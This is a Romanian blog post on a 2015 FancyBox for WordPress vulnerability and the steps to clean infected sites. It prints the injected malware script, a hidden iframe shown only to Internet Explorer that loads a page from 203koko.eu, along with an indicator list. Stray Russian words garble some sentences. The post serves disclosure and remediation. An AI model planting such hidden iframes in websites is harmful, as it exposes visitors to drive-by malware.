La inceputul saptamanii o serie de site-uri si bloguri cu WordPress, au primit avertismente de infectare cu malware через Google WebmastersПолем
Problema la care Google Webmasters face referire este prezenta unui треска / сценарий iframe malware in sursa paginilor web.
<script>if (navigator.userAgent.match(/msie/i)) { document.write(' <div style="position:absolute;left:-2000px;width:2000px"><iframe src="http://203koko.eu/hjnfh/ipframe2.php" width="20" height="30" ></iframe></div>'); }</script>Se pare ca este vorba de o уязвимость а плагинприобретенныйFancyBox for WordPress care pana ieri (05.02.2015) nu mai fusese actualizat de mult timp.
Rezolvarea acestei probleme si dezinfectarea site-urilor virusate cu acest malware, este relativ simpla.
1. Dezactivati plugn-ul FancyBox.
2. Stergeti toate fisierele plugin-ului FancyBox de pe server (via FTP)
3. Instalati noua versiune a plugin-ului (FancyBox 3.0.4)
FancyBox for WordPress 3.0.4
– Renamed the setting affected by the security issue mentioned in 3.0.3. This should stop the malicious code from appearing on sites where the plugin is updated without removing the malicious code.
FancyBox for WordPress 3.0.3
– Fixed a security issueПолем
Malware Info:
TYPE: Iframe redirection
TARGET: WordPress Fancybox
MALWARE DOMAIN: 203koko.eu
MALWARE URI: http://203koko.eu/hjnfh/ipframe2.php
MALWARE RAW CODE: <iframe src=”http://203koko.eu/hjnfh/ipframe2.php” width=”20″ height=”30″ ></iframe>
MALWARE SCRIPT: <сценарий>if (navigator.userAgent.match(/msie/i)) { document.write(‘ <div style=”position:absolute;left:-2000px;width:2000px”>
Remove malware from your WordPress websiteПолем
